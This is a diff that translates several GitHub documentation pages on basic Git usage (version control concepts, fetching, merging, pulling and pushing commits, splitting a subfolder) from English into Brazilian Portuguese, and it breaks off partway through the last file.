+## Sobre controle de versão e o Git
 
-A version control system, or VCS, tracks the history of changes as people and teams collaborate on projects together. As developers make changes to the project, any earlier version of the project can be recovered at any time.
+Um sistema de controle de versão, ou VCS, monitora o histórico de alteraçoes à medida que as pessoas e equipes colaboram em projetos em conjunto. Como os desenvolvedores fazem alterações no projeto, qualquer versão anterior do projeto pode ser recuperada a qualquer momento.
 
-Developers can review project history to find out:
+Os desenvolvedores podem revisar o histórico do projeto para descobrir:
 
-- Which changes were made?
-- Who made the changes?
-- When were the changes made?
-- Why were changes needed?
+- Quais alterações foram feitas?
+- Quem fez as alterações?
+- Quando as alterações foram feitas?
+- Por que as alterações foram necessárias?
 
-VCSs give each contributor a unified and consistent view of a project, surfacing work that's already in progress. Seeing a transparent history of changes, who made them, and how they contribute to the development of a project helps team members stay aligned while working independently.
+Os VCSs fornecem a cada colaborador uma visão unificada e consistente de um projeto, evidenciando o trabalho que já está em andamento. Ver um histórico transparente das alterações, quem as fez, e como eles contribuem para o desenvolvimento de um projeto ajuda os integrantes da equipe a manter-se alinhados enquanto trabalham de forma independente.
 
-In a distributed version control system, every developer has a full copy of the project and project history. Unlike once popular centralized version control systems, DVCSs don't need a constant connection to a central repository. Git is the most popular distributed version control system. Git is commonly used for both open source and commercial software development, with significant benefits for individuals, teams and businesses.
+Em um sistema de controle de versão distribuído, cada desenvolvedor tem uma cópia completa do projeto e do histórico do projeto. Ao contrário dos sistemas de controle de versão centralizados conhecidos, os DVCSs não precisam de uma conexão constante com um repositório central. Git é o sistema de controle de versão distribuída mais popular. O Git é comumente usado para o desenvolvimento de software de código aberto e comercial, com benefícios significativos para indivíduos, equipes e negócios.
 
-- Git lets developers see the entire timeline of their changes, decisions, and progression of any project in one place. From the moment they access the history of a project, the developer has all the context they need to understand it and start contributing.
+- O Git permite que os desenvolvedores vejam toda a linha do tempo das suas alterações, decisões e progressão de qualquer projeto em um só lugar. Desde o momento em que acessam a história de um projeto, o desenvolvedor tem todo o contexto de que precisa para entender e começar a contribuir.
 
-- Developers work in every time zone. With a DVCS like Git, collaboration can happen any time while maintaining source code integrity. Using branches, developers can safely propose changes to production code.
+- Os desenvolvedores trabalham em todos os fusos horários. Com um DVCS como o Git, a colaboração pode acontecer a qualquer momento enquanto mantém a integridade do código-fonte. Ao usar branches, os desenvolvedores podem propor alterações no código de produção.
 
-- Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects.
+- As empresas que usam o Git podem derrubar as barreiras de comunicação entre equipes e mantê-las focadas em fazer o melhor trabalho. Além disso, o Git possibilita alinhar especialistas em todos os negócios para colaborar em grandes projetos.
 
-## About repositories
+## Sobre repositórios
 
-A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more.
+Um repositório ou um projeto Git, engloba toda a coleção de arquivos e pastas associados a um projeto, junto com o histórico de revisão de cada arquivo. O histórico de arquivos aparece como instantâneos no tempo denominados commits. Os commits podem ser organizados em várias linhas de desenvolvimento denominadas branches. Como o Git é um DVCS, os repositórios são unidades auto-confinadas e qualquer pessoa que tiver uma cópia do repositório pode acessar toda a base de código e seu histórico. Ao usar a linha de comando ou outras interfaces de uso, um repositório Git também permite a interação com o histórico, clonagem do repositório, criação de branches, commiting, merge, comparação de alterações entre versões de código e muito mais.
 
-Through platforms like {% data variables.product.product_name %}, Git also provides more opportunities for project transparency and collaboration. Public repositories help teams work together to build the best possible final product.
+Por meio de plataformas como {% data variables.product.product_name %}, o Git também oferece mais oportunidades para transparência e colaboração do projeto. Repositórios públicos ajudam as equipes a trabalhar juntas para criar o melhor produto final possível.
 
-## How {% data variables.product.product_name %} works
+## Como {% data variables.product.product_name %} funciona
 
-{% data variables.product.product_name %} hosts Git repositories and provides developers with tools to ship better code through command line features, issues (threaded discussions), pull requests, code review, or the use of a collection of free and for-purchase apps in the {% data variables.product.prodname_marketplace %}. With collaboration layers like the {% data variables.product.product_name %} flow, a community of 15 million developers, and an ecosystem with hundreds of integrations, {% data variables.product.product_name %} changes the way software is built.
+{% data variables.product.product_name %} hospeda repositórios do Git e fornece aos desenvolvedores ferramentas para enviar um código melhor por meio das funcionalidades de linha de comando, problemas(discussões encadeadas), pull requests, revisão de código ou o uso de uma coleção de aplicativos grátis e para compra em {% data variables.product.prodname_marketplace %}. Com camadas de colaboração como o fluxo de {% data variables.product.product_name %}, uma comunidade de 15 milhões de desenvolvedores, e um ecossistema com centenas de integrações, {% data variables.product.product_name %} muda a forma como o software é construído.
 
-{% data variables.product.product_name %} builds collaboration directly into the development process. Work is organized into repositories where developers can outline requirements or direction and set expectations for team members. Then, using the {% data variables.product.product_name %} flow, developers simply create a branch to work on updates, commit changes to save them, open a pull request to propose and discuss changes, and merge pull requests once everyone is on the same page. For more information, see "[GitHub flow](/get-started/quickstart/github-flow)."
+{% data variables.product.product_name %} cria colaboração diretamente no processo de desenvolvimento. O trabalho é organizado em repositórios onde os desenvolvedores podem definir os requisitos ou direção e definir expectativas para os integrantes da equipe. Em seguida, ao usar o fluxo {% data variables.product.product_name %}, os desenvolvedores simplesmente criam um branch para trabalhar nas atualizações, enviar alterações para salvá-las, abrir um pull request para propor e discutir alterações, e fazer merge de pull requests quando todos estiverem na mesma página. Para obter mais informações, consulte "[fluxo do GitHub](/get-started/quickstart/github-flow)".
 
-## {% data variables.product.product_name %} and the command line
+## {% data variables.product.product_name %} e a linha de comando
 
-### Basic Git commands
+### Comandos básicos do Git
 
-To use Git, developers use specific commands to copy, create, change, and combine code. These commands can be executed directly from the command line or by using an application like {% data variables.product.prodname_desktop %}. Here are some common commands for using Git:
+Para usar o Git, os desenvolvedores usam comandos específicos para copiar, criar, alterar e combinar código. Esses comandos podem ser executados diretamente na linha de comando ou usando um aplicativo como {% data variables.product.prodname_desktop %}. Aqui estão alguns comandos comuns para usar o Git:
 
-- `git init` initializes a brand new Git repository and begins tracking an existing directory. It adds a hidden subfolder within the existing directory that houses the internal data structure required for version control.
+- `git init` inicializa um novo repositório do Git e começa a rastrear um diretório existente. Ele adiciona uma subpasta oculta dentro do diretório existente que contém a estrutura de dados interna necessária para o controle de versão.
 
-- `git clone` creates a local copy of a project that already exists remotely. The clone includes all the project's files, history, and branches.
+- `git clone` cria uma cópia local de um projeto que já existe remotamente. O clone inclui todos os arquivos, histórico e branches do projeto.
 
-- `git add` stages a change. Git tracks changes to a developer's codebase, but it's necessary to stage and take a snapshot of the changes to include them in the project's history. This command performs staging, the first part of that two-step process. Any changes that are staged will become a part of the next snapshot and a part of the project's history. Staging and committing separately gives developers complete control over the history of their project without changing how they code and work.
+- `git add` testa uma mudança. O Git controla as alterações na base de código de um desenvolvedor, mas é necessário testar e tirar um instantâneo das alterações para incluí-las no histórico do projeto. Este comando executa o teste, a primeira parte do processo de duas etapas. Todas as mudanças que são testadas irão tornar-se parte do próximo instantâneo e parte do histórico do projeto. O teste e o commit separados dão aos desenvolvedores total controle sobre o histórico do seu projeto sem alterar como eles codificam e funcionam.
 
-- `git commit` saves the snapshot to the project history and completes the change-tracking process. In short, a commit functions like taking a photo. Anything that's been staged with `git add` will become a part of the snapshot with `git commit`.
+- `git commit` salva o instantâneo no histórico do projeto e conclui o processo de rastreamento de alterações. Em suma, um commit funciona como tirar uma foto. Qualquer coisa que tenha sido testada com `git add` irá tornar-se parte do instantâneo com `git commit`.
 
-- `git status` shows the status of changes as untracked, modified, or staged.
+- `git status` mostra o status das alterações como não rastreadas, modificadas ou testadas.
 
-- `git branch` shows the branches being worked on locally.
+- `git branch` mostra os branches que estão sendo trabalhados localmente.
 
-- `git merge` merges lines of development together. This command is typically used to combine changes made on two distinct branches. For example, a developer would merge when they want to combine changes from a feature branch into the main branch for deployment.
+- O `git merge` faz merge das linhas de desenvolvimento. De modo geral, esse comando é usado para combinar alterações feitas em dois branches distintos. Por exemplo, um desenvolvedor faria merge quando quisesse combinar alterações de um branch de recurso no branch principal para implantação.
 
-- `git pull` updates the local line of development with updates from its remote counterpart. Developers use this command if a teammate has made commits to a branch on a remote, and they would like to reflect those changes in their local environment.
+- `git pull` atualiza a linha local de desenvolvimento com atualizações de sua contraparte remota. Os desenvolvedores usam este comando se um colega fez commits em um branch remoto, e eles gostaria de refletir essas alterações no seu ambiente local.
 
-- `git push` updates the remote repository with any commits made locally to a branch.
+- `git push` atualiza o repositório remoto com quaisquer commits feitos localmente em um branch.
 
-For more information, see the [full reference guide to Git commands](https://git-scm.com/docs).
+Para obter mais informações, consulte o [guia de referência completo para os comandos do Git](https://git-scm.com/docs).
 
-### Example: Contribute to an existing repository
+### Exemplo: Contribuir para um repositório existente
 
 ```bash
 # download a repository on {% data variables.product.product_name %} to our machine
@@ -100,9 +100,9 @@ git commit -m "my snapshot"
 git push --set-upstream origin my-branch
 ```
 
-### Example: Start a new repository and publish it to {% data variables.product.product_name %}
+### Exemplo: Inicie um novo repositório e publique-o em {% data variables.product.product_name %}
 
-First, you will need to create a new repository on {% data variables.product.product_name %}. For more information, see "[Hello World](/get-started/quickstart/hello-world)." **Do not** initialize the repository with a README, .gitignore or License file. This empty repository will await your code.
+Primeiro, você deverá criar um novo repositório em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Hello World](/get-started/quickstart/hello-world)." **Não** inicialize o repositório com um arquivo README, .gitignore ou Licença. Este repositório vazio irá aguardar seu código.
 
 ```bash
 # create a new directory, and initialize it with git-specific functions
@@ -127,9 +127,9 @@ git remote add origin https://github.com/YOUR-USERNAME/YOUR-REPOSITORY-NAME.git
 git push --set-upstream origin main
 ```
 
-### Example: contribute to an existing branch on {% data variables.product.product_name %}
+### Exemplo: contribuir para um branch existente em {% data variables.product.product_name %}
 
-This example assumes that you already have a project called `repo` on the machine and that a new branch has been pushed to {% data variables.product.product_name %} since the last time changes were made locally.
+Este exemplo pressupõe que você já tem um projeto denominado `repo` na máquina e que um novo branch foi enviado por push para {% data variables.product.product_name %} desde a última vez que as alterações foram feitas localmente.
 
 ```bash
 # change into the `repo` directory
@@ -153,27 +153,27 @@ git commit -m "edit file1"
 git push
 ```
 
-## Models for collaborative development
+## Modelos para desenvolvimento colaborativo
 
-There are two primary ways people collaborate on {% data variables.product.product_name %}:
+Existem duas formas principais por meio das quais as pessoas colaboram em {% data variables.product.product_name %}:
 
-1. Shared repository
-2. Fork and pull
+1. Repositório compartilhado
+2. Bifurcação e pull
 
-With a shared repository, individuals and teams are explicitly designated as contributors with read, write, or administrator access. This simple permission structure, combined with features like protected branches, helps teams progress quickly when they adopt {% data variables.product.product_name %}.
+Com um repositório compartilhado, os indivíduos e as equipes são explicitamente designados como contribuidores com acesso de leitura, gravação ou administrador. Esta estrutura de permissão simples, combinada com funcionalidades como branches protegidos, ajuda as equipes a progredir rapidamente ao adotarem {% data variables.product.product_name %}.
 
-For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)."
+Para um projeto de código aberto, ou para projetos para os quais qualquer um pode contribuir, o gerenciamento de permissões individuais pode ser desafiador, mas uma bifurcação e um modelo de extração permite que qualquer pessoa que possa visualizar o projeto contribua. Um fork é uma cópia de um projeto na conta pessoal de um desenvolvedor. Cada desenvolvedor tem controle total da sua bifurcação e é livre para implementar uma correção ou novo recurso. O trabalho concluído nas bifurcações é mantido separado ou é retornado para o projeto original por meio de um pull request. Lá, os mantenedores podem revisar as alterações sugeridas antes de serem mesclados. Para obter mais informações, consulte "[Contribuindo para os projetos](/get-started/quickstart/contributing-to-projects)".
 
-## Further reading
+## Leia mais
 
-The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software.
+A equipe de {% data variables.product.product_name %} criou uma biblioteca de vídeos e guias educativos para ajudar os usuários a continuar desenvolvendo as suas habilidades e criando um software melhor.
 
-- [Beginner projects to explore](https://github.com/showcases/great-for-new-contributors)
-- [{% data variables.product.product_name %} video guides](https://youtube.com/githubguides)
+- [Projetos iniciantes a explorar](https://github.com/showcases/great-for-new-contributors)
+- [Guias de vídeo {% data variables.product.product_name %}](https://youtube.com/githubguides)
 
-For a detailed look at Git practices, the videos below show how to get the most out of some Git commands.
+Para uma visão detalhada das práticas do Git, os vídeos abaixo mostram como tirar o máximo proveito de alguns comandos do Git.
 
-- [Working locally](https://www.youtube.com/watch?v=rBbbOouhI-s&index=2&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
+- [Trabalhando localmente](https://www.youtube.com/watch?v=rBbbOouhI-s&index=2&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
 - [`git status`](https://www.youtube.com/watch?v=SxmveNrZb5k&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4&index=3)
-- [Two-step commits](https://www.youtube.com/watch?v=Vb0Ghkkc2hk&index=4&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
-- [`git pull` and `git push`](https://www.youtube.com/watch?v=-uQHV9GOA0w&index=5&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
+- [Commits de duas etapas](https://www.youtube.com/watch?v=Vb0Ghkkc2hk&index=4&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
+- [`git pull` e `git push`](https://www.youtube.com/watch?v=-uQHV9GOA0w&index=5&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
diff --git a/translations/pt-BR/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/pt-BR/content/get-started/using-git/getting-changes-from-a-remote-repository.md
index 63fa47a4cd..75f30390dd 100644
--- a/translations/pt-BR/content/get-started/using-git/getting-changes-from-a-remote-repository.md
+++ b/translations/pt-BR/content/get-started/using-git/getting-changes-from-a-remote-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Getting changes from a remote repository
-intro: You can use common Git commands to access remote repositories.
+title: Obter alterações de um repositório remote
+intro: É possível usar comandos Git comuns para acessar repositórios remotes.
 redirect_from:
   - /articles/fetching-a-remote
   - /articles/getting-changes-from-a-remote-repository
@@ -12,76 +12,71 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Get changes from a remote
+shortTitle: Obter alterações de um controle remoto
 ---
-## Options for getting changes
 
-These commands are very useful when interacting with [a remote repository](/github/getting-started-with-github/about-remote-repositories). `clone` and `fetch` download remote code from a repository's remote URL to your local computer, `merge` is used to merge different people's work together with yours, and `pull` is a combination of `fetch` and `merge`.
+## Opções para obter alterações
 
-## Cloning a repository
+Esses comandos são muito úteis ao interagir com [um repositório remote](/github/getting-started-with-github/about-remote-repositories). `clone` e `fetch` baixam códigos remote de uma URL remota do repositório para seu computador, `merge` é usado para mesclar o trabalho de diferentes pessoas com o seu e `pull` é uma combinação de `fetch` e `merge`.
 
-To grab a complete copy of another user's repository, use `git clone` like this:
+## Clonar um repositório
+
+Para capturar uma cópia integral do repositório de outro usuário, use `git clone` desta forma:
 
 ```shell
 $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
-# Clones a repository to your computer
+# Clona um repositório em seu computador
 ```
 
-You can choose from [several different URLs](/github/getting-started-with-github/about-remote-repositories) when cloning a repository. While logged in to {% data variables.product.prodname_dotcom %}, these URLs are available below the repository details:
+Você pode escolher entre [várias URLs diferentes](/github/getting-started-with-github/about-remote-repositories) ao clonar um repositório. Quando estiver conectado em {% data variables.product.prodname_dotcom %}, esses URLs estarão disponíveis abaixo dos detalhes do repositório:
 
-![Remote URL list](/assets/images/help/repository/remotes-url.png)
+![Lista de URLs remotas](/assets/images/help/repository/remotes-url.png)
 
-When you run `git clone`, the following actions occur:
-- A new folder called `repo` is made
-- It is initialized as a Git repository
-- A remote named `origin` is created, pointing to the URL you cloned from
-- All of the repository's files and commits are downloaded there
-- The default branch is checked out
+Ao executar `git clone`, as seguintes ações ocorrem:
+- Um novo folder denominado `repo` é criado
+- Ele é inicializado como um repositório Git
+- Um remote nomeado `origin` (origem) é criado, apontando para o URL que você clonou
+- Todos os arquivos e commits do repositório são baixados ali
+- O branch-padrão foi desmarcado
 
-For every branch `foo` in the remote repository, a corresponding remote-tracking branch
-`refs/remotes/origin/foo` is created in your local repository. You can usually abbreviate
-such remote-tracking branch names to `origin/foo`.
+Para cada branch `foo` no repositório remote, um branch de acompanhamento remoto correspondente `refs/remotes/origin/foo` é criado em seu repositório local. Normalmente, você pode abreviar os nomes dos branches de acompanhamento remoto para `origin/foo`.
 
-## Fetching changes from a remote repository
+## Fazer fetch de um repositório remote
 
-Use `git fetch` to retrieve new work done by other people. Fetching from a repository grabs all the new remote-tracking branches and tags *without* merging those changes into your own branches.
+Use `git fetch` para recuperar trabalhos novos feitos por outra pessoas. Fazer fetch de um repositório captura todos os branches de acompanhamento remoto e tags novos *sem* fazer merge dessas alterações em seus próprios branches.
 
-If you already have a local repository with a remote URL set up for the desired project, you can grab all the new information by using `git fetch *remotename*` in the terminal:
+Se você já tem um repositório local com uma URL remota configurada para o projeto desejado, você pode pegar todas as novas informações usando `git buscar *remotename*` no terminal:
 
 ```shell
 $ git fetch <em>remotename</em>
-# Fetches updates made to a remote repository
+# Faz fetch de atualizações feitas em um repositório remote
 ```
 
-Otherwise, you can always add a new remote and then fetch. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Caso contrário, você sempre pode adicionar um novo remoto e, em seguida, procurar. Para obter mais informações, consulte "[Gerenciar repositórios remotos](/github/getting-started-with-github/managing-remote-repositories)".
 
-## Merging changes into your local branch
+## Fazer merge de alterações em seu branch local
 
-Merging combines your local changes with changes made by others.
+O merge combina suas alterações locais com as alterações feitas por outras pessoas.
 
-Typically, you'd merge a remote-tracking branch (i.e., a branch fetched from a remote repository) with your local branch:
+Geralmente, você faria um merge de um branch de acompanhamento remoto (por exemplo, um branch com fetch de um repositório remote) com seu branch local:
 
 ```shell
 $ git merge <em>remotename</em>/<em>branchname</em>
-# Merges updates made online with your local work
+# Faz merge de atualizações feitas online com seu trabalho local
 ```
 
-## Pulling changes from a remote repository
+## Fazer pull de alterações de um repositório remote
 
-`git pull` is a convenient shortcut for completing both `git fetch` and `git merge `in the same command:
+`git pull` é um atalho conveniente para executar `git fetch` e `git merge` no mesmo comando:
 
 ```shell
 $ git pull <em>remotename</em> <em>branchname</em>
-# Grabs online updates and merges them with your local work
+# Captura atualizações online e faz merge delas em seu trabalho local
 ```
 
-Because `pull` performs a merge on the retrieved changes, you should ensure that
-your local work is committed before running the `pull` command. If you run into
-[a merge conflict](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)
-you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort`
-to take the branch back to where it was in before you pulled.
+Você deve garantir que fez commit de seu trabalho local antes de executar o comando `pull`, pois `pull` faz um merge nas alterações recuperadas. Caso se depare com [um conflito de merge](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) que não consegue resolver, ou se decidir interromper o merge, é possível usar `git merge --abort` para o branch voltar onde estava antes de você fazer o pull.
 
-## Further reading
+## Leia mais
 
-- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)"{% ifversion fpt or ghec %}
-- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"{% endif %}
+- ["Trabalhar com remotes" no livro _Pro Git_](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)"{% ifversion fpt or ghec %}
+- "[Solucionar problemas de conectividade](/articles/troubleshooting-connectivity-problems)"{% endif %}
diff --git a/translations/pt-BR/content/get-started/using-git/index.md b/translations/pt-BR/content/get-started/using-git/index.md
index d0382733d1..138ab53684 100644
--- a/translations/pt-BR/content/get-started/using-git/index.md
+++ b/translations/pt-BR/content/get-started/using-git/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using Git
-intro: 'Use Git to manage your {% data variables.product.product_name %} repositories from your computer.'
+title: Usar o Git
+intro: 'Use o Git para gerenciar seus repositórios de {% data variables.product.product_name %} no seu computador.'
 redirect_from:
   - /articles/using-common-git-commands
   - /github/using-git/using-common-git-commands
diff --git a/translations/pt-BR/content/get-started/using-git/pushing-commits-to-a-remote-repository.md b/translations/pt-BR/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
index b5c8c33262..9d754ae7b8 100644
--- a/translations/pt-BR/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
+++ b/translations/pt-BR/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Pushing commits to a remote repository
-intro: Use `git push` to push commits made on your local branch to a remote repository.
+title: Fazer push de commits para um repositório remote
+intro: Use `git push` para fazer push de commits de seu branch local para um repositório remote.
 redirect_from:
   - /articles/pushing-to-a-remote
   - /articles/pushing-commits-to-a-remote-repository
@@ -12,108 +12,96 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Push commits to a remote
+shortTitle: Fazer push de commits para um controle remoto
 ---
-## About `git push`
-The `git push` command takes two arguments:
 
-* A remote name, for example, `origin`
-* A branch name, for example, `main`
+## Sobre `git push`
+O comando `git push` usa dois argumentos:
 
-For example:
+* Um nome de remote, por exemplo, `origin`
+* Um nome de branch, por exemplo, `principal`
+
+Por exemplo:
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;BRANCHNAME> </em>
 ```
 
-As an example, you usually run `git push origin main` to push your local changes
-to your online repository.
+Como exemplo, você normalmente executa o `git push origin main` para fazer push das suas alterações locais para o seu repositório on-line.
 
-## Renaming branches
+## Renomear branches
 
-To rename a branch, you'd use the same `git push` command, but you would add
-one more argument: the name of the new branch. For example:
+Para renomear um branch, você usaria o mesmo comando `git push`, mas adicionaria mais um argumento: o nome do novo branch. Por exemplo:
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;LOCALBRANCHNAME></em>:<em>&lt;REMOTEBRANCHNAME> </em>
 ```
 
-This pushes the `LOCALBRANCHNAME` to your `REMOTENAME`, but it is renamed to `REMOTEBRANCHNAME`.
+Isso faz push do `LOCALBRANCHNAME` para seu `REMOTENAME`, mas ele é renomeado para `REMOTEBRANCHNAME`.
 
-## Dealing with "non-fast-forward" errors
+## Lidar com erros "non-fast-forward"
 
-If your local copy of a repository is out of sync with, or "behind," the upstream
-repository you're pushing to, you'll get a message saying `non-fast-forward updates were rejected`.
-This means that you must retrieve, or "fetch," the upstream changes, before
-you are able to push your local changes.
+Se a cópia local de um repositório não está sincronizada, ou está "atrasada", com o repositório upstream que você está fazendo push, você receberá uma mensagem informando que `non-fast-forward updates were rejected` (as atualizações non-fast-forward foram rejeitadas). Isso significa que você deve recuperar ou fazer "fetch" das alterações upstream, antes de conseguir fazer push das alterações locais.
 
-For more information on this error, see "[Dealing with non-fast-forward errors](/github/getting-started-with-github/dealing-with-non-fast-forward-errors)."
+Para obter mais informações sobre esse erro, consulte "[Lidar com erros non-fast-forward](/github/getting-started-with-github/dealing-with-non-fast-forward-errors)".
 
-## Pushing tags
+## Fazer push de tags
 
-By default, and without additional parameters, `git push` sends all matching branches
-that have the same names as remote branches.
+Por padrão, e sem parâmetros adicionais, `git push` envia todos os branches correspondentes que têm os mesmos nomes de branches remote.
 
-To push a single tag, you can issue the same command as pushing a branch:
+Para fazer push de uma única tag, você pode usar o mesmo comando usado para fazer push de um branch:
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;TAGNAME> </em>
 ```
 
-To push all your tags, you can type the command:
+Para fazer push de todas as suas tags, digite o comando:
 
 ```shell
 git push <em> &lt;REMOTENAME></em> --tags
 ```
 
-## Deleting a remote branch or tag
+## Excluir uma tag ou branch remote
 
-The syntax to delete a branch is a bit arcane at first glance:
+À primeira vista, a sintaxe para excluir um branch é um pouco enigmática:
 
 ```shell
 git push <em> &lt;REMOTENAME></em> :<em>&lt;BRANCHNAME> </em>
 ```
 
-Note that there is a space before the colon. The command resembles the same steps
-you'd take to rename a branch. However, here, you're telling Git to push _nothing_
-into `BRANCHNAME` on `REMOTENAME`. Because of this, `git push` deletes the branch
-on the remote repository.
+Observe que há um espaço antes dos dois pontos. O comando se parece com as mesmas etapas que você usaria para renomear um branch. No entanto, aqui você está dizendo ao Git para fazer push de _nada_ no `BRANCHNAME` em `REMOTENAME`. Por causa disso, `git push` exclui o branch no repositório remote.
 
-## Remotes and forks
+## Remotes e bifurcações
 
-You might already know that [you can "fork" repositories](https://guides.github.com/overviews/forking/) on GitHub.
+Você já deve saber que [é possível "bifurcar" repositórios](https://guides.github.com/overviews/forking/) no GitHub.
 
-When you clone a repository you own, you provide it with a remote URL that tells
-Git where to fetch and push updates. If you want to collaborate with the original
-repository, you'd add a new remote URL, typically called `upstream`, to
-your local Git clone:
+Ao clonar um repositório de sua propriedade, você fornece um URL remoto que informa o Git onde fazer fetch e push de atualizações. Se deseja colaborar com o repositório original, você deve adicionar uma nova URL remota, normalmente denominado `upstream`, em seu clone do Git local:
 
 ```shell
 git remote add upstream <em> &lt;THEIR_REMOTE_URL> </em>
 ```
 
-Now, you can fetch updates and branches from *their* fork:
+Agora, é possível fazer fetch de atualizações e branches da bifurcação *deles*:
 
 ```shell
 git fetch upstream
-# Grab the upstream remote's branches
-> remote: Counting objects: 75, done.
-> remote: Compressing objects: 100% (53/53), done.
-> remote: Total 62 (delta 27), reused 44 (delta 9)
-> Unpacking objects: 100% (62/62), done.
+# Captura os branches dos remotes upstream
+> remote: Contando objetos: 75, concluído.
+> remote: Compactação de objetos: 100% (53/53), concluída.
+> remote: Total 62 (delta 27), reutilizados 44 (delta 9)
+> Descompactação de objetos: 100% (62/62), concluída.
 > From https://{% data variables.command_line.codeblock %}/<em>octocat</em>/<em>repo</em>
 >  * [new branch]      main     -> upstream/main
 ```
 
-When you're done making local changes, you can push your local branch to GitHub
-and [initiate a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+Quando finalizar as alterações locais, você pode fazer push do seu branch local para o GitHub e [iniciar uma pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
 
-For more information on working with forks, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)".
+Para obter mais informações sobre como trabalhar com bifurcações, consulte "[Sincronizar uma bifurcação](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)".
 
-## Further reading
+## Leia mais
 
-- [The "Remotes" chapter from the "Pro Git" book](https://git-scm.com/book/ch5-2.html)
-- [`git remote` main page](https://git-scm.com/docs/git-remote.html)
-- "[Git cheatsheet](/articles/git-cheatsheet)"
-- "[Git workflows](/github/getting-started-with-github/git-workflows)"
-- "[Git Handbook](https://guides.github.com/introduction/git-handbook/)"
+- [Capítulo "Remotes" do livro "Pro Git"](https://git-scm.com/book/ch5-2.html)
+- [Página principal do `git remote`](https://git-scm.com/docs/git-remote.html)
+- "[Folha de consultas Git](/articles/git-cheatsheet)"
+- "[Fluxos de trabalho Git](/github/getting-started-with-github/git-workflows)"
+- "[Manual do Git](https://guides.github.com/introduction/git-handbook/)"
diff --git a/translations/pt-BR/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/pt-BR/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
index 49eef30c38..28ef25ee87 100644
--- a/translations/pt-BR/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
+++ b/translations/pt-BR/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
@@ -1,82 +1,83 @@
 ---
-title: Splitting a subfolder out into a new repository
+title: Dividir uma subpasta em um novo repositório
 redirect_from:
   - /articles/splitting-a-subpath-out-into-a-new-repository
   - /articles/splitting-a-subfolder-out-into-a-new-repository
   - /github/using-git/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository
-intro: You can turn a folder within a Git repository into a brand new repository.
+intro: Você pode transformar uma pasta em um repositório do Git repository em um novo repositório.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Splitting a subfolder
+shortTitle: Dividindo uma subpasta
 ---
-If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository.
+
+Se você criar um clone do repositório, não perderá nenhuma alteração ou histórico do Git quando dividir uma pasta e criar um repositório separado.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 
-2. Change the current working directory to the location where you want to create your new repository.
+2. Altere o diretório de trabalho atual para o local em que deseja criar o novo repositório.
 
-4. Clone the repository that contains the subfolder.
+4. Clone o repositório que contém a subpasta.
    ```shell
    $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY-NAME</em>
    ```
 
-4. Change the current working directory to your cloned repository.
+4. Altere o diretório de trabalho atual para o repositório clonado.
    ```shell
    $ cd <em>REPOSITORY-NAME</em>
    ```
 
-5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information:
